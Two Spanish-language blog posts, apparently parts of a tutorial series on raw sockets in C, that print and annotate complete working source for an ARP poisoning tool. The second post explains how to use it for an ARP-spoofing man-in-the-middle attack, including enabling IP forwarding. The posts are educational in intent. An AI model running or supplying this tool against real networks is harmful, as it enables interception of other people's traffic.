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Thursday, September 28, 2017

En crudo y sin censura RAW SOCKETS I en C

En crudo y sin censura RAW SOCKETS I en C


Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya s�lo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo �ltimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentar� mostrar para qu� podemos utilizar la programaci�n de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema f�cil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos m�nimos de redes, un poquito de C, as� como disponer de una m�quina linux, puesto que este tost�n est� orientado a sistemas Linux o Unix, como ya es com�n en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es m�s, os animo a ello.

Tambi�n quiero dejar claro que que vamos a abordar el tema desde un punto de vista pr�ctico sin entrar mucho en detalles t�cnicos, si no podr�a ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburrir�a, as� que lo veremos de soslayo.

�Por qu� C? la respuesta es sencilla: si aprendes en C te ser� sencillo hacerlo en java, python o C++... Prueba al rev�s X-O. (respuesta de un profesor).

Es verdad que en python ser�a m�s sencillo (utilizando alguno de sus frameworks), imposible en muchos casos con java y m�s o menos parecido en c++; pero desde el punto de vista pedag�gico te pierdes muchos fundamentos valiosos.

Desde mi punto de vista ahora que estoy empezando con C, es simple, elegante y endiabladamente r�pido, compacto y eficiente..y muy Oldschool, sin menospreciar en absoluto a Python (pero hoy toca C). 

�Qu� es un Socket? pues como dice la palabra es un enchufe!!...

Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada.

El t�rmino socket es tambi�n usado como el nombre de una interfaz de programaci�n de aplicaciones (API) para la familia de protocolos de Internet TCP/IP, provista usualmente por el sistema operativo.

Segun esta interfaz tenemos tres grupos de sockets:

Socket de flujo (SOCK_STREAM): Define un servicio orientado a conexi�n confiable y bidireccional. Los datos se env�an sin errores o duplicaci�n y se reciben en el mismo orden de como fueron enviados. Podr�amos compararlo con una llamada de tel�fono.. recibir y mandar la informaci�n en su tiempo y de manera bidireccional es cr�tico para la comprensi�n del mensaje, de esto se encarga TCP...Ej dns, tftp, bootp, etc.

Socket de datagrama (SOCK_DGRAM): Define un servicio no orientado a conexi�n (sobre UDP por ejemplo). Los datagramas se env�an como paquetes independientes. El servicio no proporciona garant�as; los datos se pueden perder o duplicar y los datagramas pueden llegar fuera de orden. Soporta la bidirecionalidad pero no es su fuerte. Simplificando (demasiado) es similar a enviar una carta.

Socket raw (SOCK_RAW): Estos sockets nos permiten el acceso a los protocolos de comunicaciones,con la posibilidad de hacer uso o no de protocolos de capa 3 (nivel de red) y/o 4 (nivel de transporte), y por lo tanto d�ndonos el acceso a los protocolos directamente y a la informaci�n que recibe en ellos. El uso de sockets de este tipo nos va a permitir la implementaci�n de nuevos protocolos, y por que no decirlo, la modificaci�n de los ya existentes. Suena interesante no?.

Con esta verborrea trato de ubicar un poco al lector, pues despu�s de lo dicho nos vamos a centrar en el este �ltimo Socket raw o en crudo este tipo de socket trabaja sin estar ligado a un protocolo de comunicaci�n en concreto, es decir, podemos darle el sabor que necesitemos. Lo veremos m�s a delante.

Peculiaridades de Socket raw (SOCK_RAW)

- No incluye por defecto TCP; esto se traduce en perdida de fiabilidad.

- No tenemos que especificar puerto en la comunicaci�n.....O_o..... ya que es el propio kernel  que recibe el paquete crudo el encargado de pasar la informaci�n de  a todos los sockets que est�n escuchando el mismo protocolo, no hay conexiones de red virtuales como tal, es decir, no hay puertos.


- Los campos del Header los deberemos rellenar manualmente, al contrario que si trabaj�semos con otro tipo de socket; el kernel no rellena las cabeceras.

- Carece de un est�ndar.

- Para usar sockets de tipo raw en Unix es necesario contar con privilegios de root.

- hay dos tipos b�sicos de socket raw, y que la decisi�n de cu�l utilizar depende totalmente del objetivo y requisitos de la aplicaci�n que se desea:

 . Familia AF_PACKET: los sockets raw de la familia AF_PACKET son los de m�s bajo nivel y permiten leer y escribir cabeceras de protocolos de cualquier capa.

 . Familia AF_INET: los sockets raw AF_INET delegan al sistema operativo la construcci�n de las cabeceras de enlace y permiten una manipulaci�n �compartida� de las cabeceras de red.

 En breve veremos en detalle la utilidad y funcionamiento de ambas familias.

- Y alguna m�s que seguro que escapa a mi intelecto (por culpa de alg�n gen recesivo).

�Qu� podemos hacer con raw socket?

Con los sockets SOCK_DGRAM y SOCK_DGRAM s�lo puedes decidir el contenido del PAYLOAD TCP o UDP pero no puedes leer ni escribir nada de lo que hay debajo: cabeceras IP, ICMP, ARP, Ethernet, etc. 

Esto nos permitir� desde diagnoxticar ciertos aspectos de la red que de otro modo ser�a dif�cil, componer Datagramas a muy bajo nivel, y construir nuestras propias herramientas a medida de nuestros caprichos.

En definitiva nos va a hacer conocer mejor los protocolos y su seguridad.

Bueno ya para finalizar esta entrada (si no menuda chappa).. y para abrir boca os voy a dejar un codigo fuente de Victor Ramos Mello (que encontre en su Git, el cual me pareci� bueno como ejemplo) en el que hace uso de raw socket para manejar el protocolo ARP.

No atorarse!! ya lo  examinaremos paso por paso, y  desarrollaremos m�s para conseguir una herramienta MITM en pr�ximas entradas para ir ejercitando la mente.

Simple arp poison:

//arp-poison by m0nad
//tested in Linux 3.5.0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <signal.h>

#define IP4LEN 4
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)

int sock;
void
usage()
{
puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}

void
cleanup()
{
close(sock);
exit(0);
}

int
main(int argc, char ** argv)
{
char packet[PKTLEN];
struct ether_header * eth = (struct ether_header *) packet;
struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
struct sockaddr_ll device;

if (argc < 4) {
usage();
}

sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
if (sock < 0)
perror("socket"), exit(1);

signal(SIGINT, cleanup);

sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);

memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
eth->ether_type = htons(ETH_P_ARP);

arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);

memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);

puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
sleep(2);
}
return 0;
}



para compilarlo:
#gcc arp-poison.c -o arp-poison

un saludo! hasta m�s ver...


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Thursday, September 7, 2017

En crudo y sin censura RAW SOCKETS II en C

En crudo y sin censura RAW SOCKETS II en C


�Qu� tal! Ya estoy aqu� con la segunda entrada de esta serie, que me da a mi que va a ser larga... ;D
Bueno como promet� en la entrada anterior vamos a ver el ejemplo que os dej�, vamos a ver las partes importantes de Sockets Raw, y a�adiremos o modificaremos el c�digo para conseguir un ejemplo m�s vers�til...

Al lector: si incurro en cualquier error a lo largo de estos post agradecer�a vuestras correcciones.

Como primer ejercicio quiero que le ech�is un vistazo m�s a fondo al c�digo que est� debajo de este p�rrafo, y le�is los comentarios donde a grandes rasgos explico el funcionamiento del ejemplo que os dej� la semana pasada, si no entend�is nada (nadie dijo que programar para sockets fuera a ser f�cil), no agobiarse, basta con echarle un ojo para que cuando explique la teor�a os suene por donde cae en el c�digo:

#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);

#define IP4LEN 4 //define la
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;

void usage() { //funcion para mostrar el help del programa por pantalla
puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}

void cleanup() { //utilizaremos esta funcion para cerrar el socket
close(sock); //mediante la funcion close() de <unistd.h>
exit(0); //la funcion no retornara valor alguno
}

main(int argc, char ** argv) {
char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
//a struct ether_headder del paquete (<netinet/if_ether.h>)

struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero
//ether_arp para poder meter
//mas tarde valores.
struct sockaddr_ll device; //<netpacket/packet.h> hacemos que int sll_ifindex;apunte a nuestra variable device

if (argc < 4) {//si los argumento pasados para lanzar el programa
usage();
}//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda

sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
//tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort desde el orden de bytes del host al de la red.

if (sock < 0) //si no se crea el shocket llamamos a exit()
perror("socket"), exit(1);
signal(SIGINT, cleanup);
//RELLENAMOS LAS ESTRUCTURAS
//recogemos la mac del argumento 3 (hexadecimal)
//y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
// de la libreria <netinet/if_ether.h> sin signo
sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

//recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);
///////
memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast destination eth address */>/a la structura ethernet
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp
eth->ether_type = htons(ETH_P_ARP);
//pasamos el al heather ethernet el valor ETH_P_ARR
//de if_ether.h " ETH_P_ARP 0x080 Address Resolution packet */"
arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);
memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);

puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
sleep(2);
}
return 0;
}

Se que promet� no ponerme en rollo t�cnico, pero para empezar con sockets al menos nos deben sonar un par de conceptos cr�ticos... intentar� ser lo mas simple y conciso que pueda...

Encapsulaci�n de datos:

"En redes de ordenadores, encapsulaci�n es un m�todo de dise�o modular de protocolos de comunicaci�n en el cual las funciones l�gicas de una red son abstra�das ocultando informaci�n a las capas de nivel superior".

En cristiano: Las redes se trabajan en capas, donde cada una de ellas es responsable de una funci�n espec�fica dentro del proceso de env�o/recepci�n de datos desde un host a otro. Normalmente se trabaja con el modelo OSI y TCP/IP.


Para operar dentro de estas capas existen diferentes protocolos. Y para ir de una capa a otra necesitamos encapsular los paquetes hasta hacer llegar nuestro paquete al sitio deseado.


Un buen s�mil de esto es mandar una carta a un amigo que vive en otro continente; escribes la carta, luego va a el cartero, despu�s al cami�n, que la lleva al avi�n...
Cuando llegue tu carta para que la coja tu amigo debe salir del avi�n, ir a otro cami�n y cogerla otro cartero que se la entregar� a tu amigo.

En el proceso de viaje del paquete por las distintas capas del modelo TCP, los encargados de transportarlas son los protocolos y estos necesitan de unas cabeceras donde se le indique que transportan y donde lo transportan (entre otros datos).

En el caso de SOCK_DGRAM y SOCK_STREAM este trabajo lo lleva a cabo el Kernel, pero amigos, en el caso que nos ocupa SOCK_RAW y como vimos en la entrada anterior "Los campos del Header los deberemos rellenar manualmente, al contrario que si trabaj�semos con otro tipo de socket; el kernel no rellena las cabeceras".

Para hacer esto c�modamente utilizaremos las Estructuras.

�QU� SON LAS ESTRUCTURAS?

Resumi�ndolo un poco: "Las estructuras son colecciones de variables relacionadas bajo un nombre. Las estructuras pueden contener variables de muchos tipos diferentes de datos a diferencia de los arreglos que contienen �nicamente elementos de un mismo tipo de datos".

Para ver esto mucho mas claro vamos a recurrir a nuestro ejemplo examinando un fragmento donde rellenamos las estructura ya programada que utilizamos de las librer�as incluidas en el c�digo:

En nuestro ejemplo, vamos a mandar una trama ARP por la capa de enlace,
el encargado de esto es el protocolo ETHERNET. Para conseguir esto necesitamos la estructura de los Headers ethernet, y la estructura del  paquete arp.

Aqu� apuntamos como variable eth a la estructura que contiene los headers ethernet en la librer�a <ethernet.h>

 y ahora con:


Le decimos el tipo de paquete que va a ser ADDRESS RESOLUTION PACKET.
que lo hemos sacado de if_ether.h convirti�ndolo con htons (la funci�n htons convierte a u_short del host en orden de bytes de red TCP / IP si fuese necesario):







Aqu� pasamos el tercer par�metro introducido al arrancar el programa(la mac):

A la Estructura ether_arp alojada en <if_ether.h>


Espero que no os est� liando mucho... solo ten�is que quedaros con que las estructuras son una colecci�n de datos, que podemos encontrarlas en las librer�as ya preconcebidas para crear paquetes <netinet.h> y c�mo sacar y meter datos en ellas. ya veremos esto m�s despacio.

�Menuda chapa! vamos a asimilarla con la pr�ctica.

Vamos a dejar por el momento las comederas de cabeza hasta la tercera entrada, y vamos con lo divertido.

Construyendo nuestra primer herramienta

Dije que convertir�amos el c�digo del ejemplo en algo m�s funcional y divertido, vamos hacer una herramienta que nos permita hacer un Man In The Middle.

Si estas leyendo esta entrada supongo que sabras que es un MITM y en que consiste un ataque de falsificaci�n ARP o ARP Spoofing, pero vamos a recordarlo a grandes rasgos.

El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados o spoofed) a la Ethernet. Normalmente la finalidad es asociar la direcci�n MAC del atacante con la direcci�n IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace predeterminada (gateway).

Esta t�cnica de arp spoofing, si se hace de manera bidireccional obtenemos el resultado de un ataque man in the middle.

Es decir el atacante le dice ala red (todos los equipos) o a la v�ctima (ataque dirigido)  que es el gateway . El medio del ataque es el envenenamiento de las tablas ARP de los equipos.

Vamos a establecer el escenario:

Supongamos que se da la siguiente situaci�n:

Queremos poder capturar el tr�fico que manda la v�ctima hacia INet... y lo m�s natural ser�a colocarnos en medio; de ah� lo de MITM...

�C�mo conseguimos esto?: mediante paquetes ARP-Reply, en primer lugar a la v�ctima le decimos que somos el router mand�ndole un ARP-reply y diciendo que a nuestra mac le corresponde la ip del router.
El protocolo ARP, al carecer de mecanismos de autentificacion y si en el equipo no se ha establecido unas tablas ARP fijas, actualizara la la tabla ARP de la victima con la nueva informaci�n...en lo que respeta a el equipo v�ctima somos el router.

El siguiente paso ser� mandar un paquete ARP-reply al router dici�ndole que somos la v�ctima, el protocolo ARP modificar� la tabla Arp del router como hizo con la victima. Podremos interceptar la informaci�n bi-direccionalmente, siempre de manera transparente para la victima siempre y cuando tengamos activado el IP forward en nuestro equipo (echo 1 > /proc/sys/net/ipv4/ip_forward).

Y �c�mo podemos manipular los paquetes ARP? pues chatos: con SOCK_RAW!

Pero esto ser� en la siguiente entrada..

Un saludo

    Manuel


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